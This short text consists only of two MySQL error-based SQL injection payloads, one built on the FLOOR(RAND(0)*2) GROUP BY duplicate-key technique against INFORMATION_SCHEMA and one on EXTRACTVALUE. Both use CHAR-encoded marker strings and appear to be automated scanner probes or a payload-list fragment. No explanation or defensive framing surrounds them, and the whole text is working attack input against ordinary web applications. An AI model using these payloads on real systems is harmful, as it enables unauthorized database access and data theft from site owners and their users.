(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(121),CHAR(114),CHAR(110),CHAR(119),CHAR(112),CHAR(115),CHAR(117),CHAR(105),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)

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EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(121),CHAR(114),CHAR(110),CHAR(119),CHAR(112),CHAR(115),CHAR(117),CHAR(105)))

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